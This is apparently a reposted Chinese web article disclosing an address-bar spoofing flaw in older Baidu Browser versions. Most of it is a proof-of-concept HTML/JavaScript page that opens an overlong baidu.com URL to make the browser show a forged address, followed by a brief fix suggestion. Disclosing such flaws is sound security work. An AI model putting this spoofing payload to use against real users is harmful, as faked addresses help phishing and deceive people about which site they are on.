浏览器漏洞（浏览器漏洞原理）
来源： 最后更新：2024-05-13 00:04:11
-
-
The Beginning
百度浏览器近期发现漏洞，百度浏览器6.4.0.49133以及以前版本伪造任意网址漏洞，伪造任意协议（http/https/ftp...）、域名、网址URL长度大于4KB时处理出错，例如将证明文件保存为c:/a.htm并打开，点击连接后可以伪造任意网址。
同时URL过长的时候，会显示“已收藏”图标，估计是处理过长url时逻辑有点小问题漏洞证明：
复制代码
代码如下:<html>
<div id='c' style=''> //displaynone
ss
</div>
<a href="#" target="newwin" id='v' style="display:block" onclick="invokePoC();window.open('javascript：1;','newwin');">just click me</a>
<script>
function invokePoC() {
wx = open("http://www.baidu.com/account/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA</p>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
","newwin");//setInterval("doit()",5000);
}
if(window.name == "newwin")
{
document.getElementById('c').innerText = ':). due to an internal error(>10Kbytes url), the fav icon will be shown. if you just want the shortest url, just make it for about 4KB';document.write("<title>:)</title>");
document.getElementById('v').style.display = 'none';}
</script>
</html>修复方案：
无效URL及时过滤，以防止伪造网址，谢谢阅读，希望能帮到大家，请继续关注，我们会努力分享更多优秀的文章。
THE END广告、内容合作请点击这里 寻求合作免责声明：本文系转载，版权归原作者所有；旨在传递信息，其原创性以及文中陈述文字和内容未经本站证实。
最新文章
- 1
腾讯为什么告老干妈（腾讯跟老干妈什么情况）
- 2
突然确诊癌症中晚期，已转移！宁波男子无法接受：怎么可能！医生：发现一个，全家高危！
- 3
疑似皇马前主席之孙公然辱华，皇马却称“将致力于消除足球界种族歧视”？
- 4
韩军称朝鲜军人无意中越界 韩军称朝鲜军人无意中越界了吗
- 5
中纪委再打两“虎”！还有一“虎”被免职，一“虎”获刑十五年！
- 6
吉林市将举办世界锅包肉大赛，此前召开座谈会论证锅包肉起源
- 7
哪些爱爱姿势更容易怀孕 选择这些爱爱姿势帮助生儿生女
- 8
男性精子存活时间有多久 精子存活率低怎么办
- 9
医生算错怀孕周数怎么办 孕龄胎龄预产期原来是这样算的
- 10
备孕未准妈妈请注意 这里有份孕前自检表请签收
推荐文章
疑似皇马前主席之孙公然辱华，皇马却称“将致力于消除足球界种族歧视”？
中纪委再打两“虎”！还有一“虎”被免职，一“虎”获刑十五年！中纪委再打两“虎”！还有一“虎”被免职，一“虎”获刑十五年！,常委,
停经几天能测出怀孕 诊断怀孕的常用方法有哪些 “疯狂”的栀子花：最高每斤卖35元！犍为栀子花价飙涨数倍，迎上中式新茶饮风口 澳媒揭露西方媒体歪曲报道中国真相：“它们不会告诉不想让我们听到的消息” monster monster眼镜
卢拉与普京通电话重申：支持有俄乌冲突双方都参与的和谈
“替父追债被判寻衅滋事案”最新进展：检方因证据不足撤诉，法院准许
“目击者称以军乔装成哈马斯和平民，围观也可能被杀”“目击者称以军乔装成哈马斯和平民，围观也可能被杀”,哈马斯,以色
2024广州天河来穗人员积分入学资格审查结果 入职魔鬼式军训，体现了什么企业文化？ 高龄受孕真的容易怀双胞胎吗 自然健康的受孕才是正道 苏州园区人才优先购房申请服务电话（苏州园区人才优先购房申请服务电话查询）
2024潍坊停车收费标准执行时间 潍坊市停车收费标准
热门标签
热门文章
-
卡其脱离太什么意思 卡其脱离太是什么梗 2022-01-25
-
2020年腊八节适合结婚吗 2022-01-28
-
2022年腊八节搬家好不好 2022-01-26
-
点评：缩阴产品有没有效果？缩阴产品真的有用吗 2022-03-06
-
想生男孩男人饮食要注意哪些方面？ 2022-04-24
-
李湘：不让女儿刻意减肥 穿的衣服贵但是不娇气娱乐明星 2022-03-15
-
孕妇能吃青蟹吗？吃青蟹有什么禁忌？ 2022-04-19
-
孩子的自我保护意识，是怎样被磨灭的？ 2022-03-08
-
窦靖童晒单曲《with you》 网友盛赞天籁之音娱乐明星 2022-04-17
-
只要腰杆硬 干什么都给力 2022-04-02
